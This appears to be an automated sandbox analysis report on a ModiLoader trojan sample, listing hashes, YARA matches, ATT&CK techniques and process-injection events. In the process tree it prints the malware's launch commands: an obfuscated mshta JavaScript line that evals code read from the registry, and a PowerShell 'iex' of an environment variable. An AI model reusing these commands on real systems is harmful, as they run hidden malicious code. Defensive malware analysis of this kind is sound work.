modiloader | 9db87af0939edd62fec396d9af38b1e554d81d969974f7977014fb80f5489f03

General

Target

9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
Size

271KB
MD5

9c8c94cb2f4467665c307b6da59022e6
SHA1

9875930cfd41636e94fedd9641c360551bb8274c
SHA256

9db87af0939edd62fec396d9af38b1e554d81d969974f7977014fb80f5489f03
SHA512

ae082411a8cf767722c615d370c98ad3962d8a8ab64c26c5dff39563e5a9aeadfc9174f67298281a405493f2b8a7f6c1f0afad45058e22b33fe06aa205c82be4
SSDEEP

3072:l6CCZ+GH7dCCYP4dmFrSvLWG88MOE+cjqr3au5llnt6pCO4d+Lk24SBXpjihtlyJ:JVmLW/8MCp5llt6wFd5oPji7r5yTh34E

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	2872	mshta.exe	86

ModiLoader Second Stage 10 IoCs

resource	yara_rule
behavioral2/memory/3572-2-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-4-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-5-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-6-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-10-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-9-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-8-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-7-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-11-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2
behavioral2/memory/3572-12-0x0000000000990000-0x0000000000A66000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2540 set thread context of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2604	powershell.exe
2604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2540 wrote to memory of 3572	2540	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	85
PID 2108 wrote to memory of 2604	2108	mshta.exe	88
PID 2108 wrote to memory of 2604	2108	mshta.exe	88
PID 2108 wrote to memory of 2604	2108	mshta.exe	88

C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe"
  2⤵
  PID:3572

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:asZme7m="e";HB0=new%20ActiveXObject("WScript.Shell");h7tRteAy="i00skA79";qnXo69=HB0.RegRead("HKLM\\software\\Wow6432Node\\MHUARrN\\YCBFzU");Nh9CA="R";eval(qnXo69);sYIJ35="qFXAF6cw";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:eflkzu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m1gmlbgm.2kw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2604-14-0x0000000002F40000-0x0000000002F76000-memory.dmp

Filesize
216KB

Download
memory/2604-17-0x00000000059F0000-0x0000000005A56000-memory.dmp

Filesize
408KB

Download
memory/2604-32-0x0000000006BC0000-0x0000000006BDA000-memory.dmp

Filesize
104KB

Download
memory/2604-31-0x0000000007EF0000-0x000000000856A000-memory.dmp

Filesize
6.5MB

Download
memory/2604-30-0x0000000006700000-0x000000000674C000-memory.dmp

Filesize
304KB

Download
memory/2604-29-0x00000000066B0000-0x00000000066CE000-memory.dmp

Filesize
120KB

Download
memory/2604-28-0x0000000006180000-0x00000000064D4000-memory.dmp

Filesize
3.3MB

Download
memory/2604-18-0x0000000006110000-0x0000000006176000-memory.dmp

Filesize
408KB

Download
memory/2604-15-0x0000000005A70000-0x0000000006098000-memory.dmp

Filesize
6.2MB

Download
memory/2604-16-0x0000000005890000-0x00000000058B2000-memory.dmp

Filesize
136KB

Download
memory/3572-8-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download
memory/3572-5-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/3572-2-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/3572-11-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download
memory/3572-4-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/3572-7-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download
memory/3572-12-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download
memory/3572-9-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download
memory/3572-10-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download
memory/3572-6-0x0000000000990000-0x0000000000A66000-memory.dmp

Filesize
856KB

Download

Analysis

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